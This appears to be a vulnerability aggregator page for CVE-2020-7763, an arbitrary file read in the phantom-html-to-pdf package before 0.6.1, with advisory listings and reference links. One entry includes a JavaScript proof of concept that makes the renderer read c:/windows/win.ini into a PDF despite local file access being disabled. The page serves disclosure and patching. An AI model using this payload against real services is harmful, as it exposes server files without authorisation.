Arbitrary File Read
cve-program · CVE-2020-7763
PublishedThis affects the package phantom-html-to-pdf before 0.6.1.
Read the publisher's advisoryeuvd · EUVD-2020-1448
PublishedThis affects the package phantom-html-to-pdf before 0.6.1.
Read the publisher's advisorynvd · CVE-2020-7763
PublishedThis affects the package phantom-html-to-pdf before 0.6.1.
Read the publisher's advisoryosv · GHSA-6h7f-qwqm-35pp
PublishedThis affects the package phantom-html-to-pdf before 0.6.1. ### PoC ```js var fs = require('fs') var conversion = require("phantom-html-to-pdf")(); conversion.allowLocalFilesAccess = false conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) { var output = fs.createWriteStream('output.pdf') console.log(pdf.logs); console.log(pdf.numberOfPages); pdf.stream.pipe(output); }); ```
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2020-7763 · CVE overview and exploitation status
SNYK-JS-PHANTOMHTMLTOPDF-1023598
cve-program · CVE-2020-7763
- https://snyk.io/vuln/SNYK-JS-PHANTOMHTMLTOPDF-1023598
- https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259
euvd · EUVD-2020-1448
- https://snyk.io/vuln/SNYK-JS-PHANTOMHTMLTOPDF-1023598
- https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259
nvd · CVE-2020-7763
- https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259
- https://snyk.io/vuln/SNYK-JS-PHANTOMHTMLTOPDF-1023598
osv · GHSA-6h7f-qwqm-35pp
Related changes
Linked by CVE identifierNo related changes are available here.